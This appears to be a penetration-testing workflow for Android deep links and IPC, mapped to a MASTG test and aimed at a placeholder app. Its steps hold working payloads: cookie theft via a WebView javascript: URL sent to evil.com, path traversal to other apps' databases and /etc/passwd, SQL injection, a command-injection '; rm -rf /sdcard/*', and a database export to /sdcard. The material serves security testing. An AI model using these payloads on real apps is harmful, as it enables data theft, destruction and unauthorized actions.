Workflow: Deep Link & Intent/IPC Testing
Maps to MASTG-TEST-0030 (Injection via IPC). Target exported components from the manifest.
1. Enumerate attack surface
components = list_exported_components("com.target.app")
# Inspect: activities w/ intent-filter, exported services, providers, receivers.2. Deep link abuse
launch_activity("com.target.app", ".DeepLinkActivity",
data_uri="targetapp://transfer?amount=1000&to=attacker")Try: auth bypass via scheme, privileged action without session, parameter tampering.
3. WebView XSS
launch_activity("com.target.app", ".WebViewActivity",
extras={"url": "javascript:document.location='http://evil.com/?c='+document.cookie"})Also test file:// → internal file read when setAllowFileAccess(true).
4. Path traversal in file intents
fuzz_intent_extra("com.target.app", ".FileActivity", "filepath", [
"../../../data/data/com.other.app/databases/secrets.db",
"file:///data/local/tmp/evil.html",
"content://com.target.app.provider/../../../etc/passwd"
])See payloads/path_traversal.txt for full list.
5. Content provider SQLi
query_content_provider("content://com.target.app.provider/users?id=1' OR '1'='1' --")Payloads: payloads/sql_injection.txt. Check for grantUriPermissions=true and path-permission gaps.
6. Broadcast injection
send_broadcast("com.target.app.CUSTOM_ACTION",
extras={"command": "; rm -rf /sdcard/*"})Also test sticky broadcasts and ordered-broadcast result tampering.
7. Service abuse
start_service("com.target.app", ".BackgroundService",
extras={"action": "export_db", "target": "/sdcard/leak.db"})References
payloads/intent_injection.txt,payloads/path_traversal.txt,payloads/sql_injection.txt,payloads/xss_payloads.txt- methodology/client_side_injection.md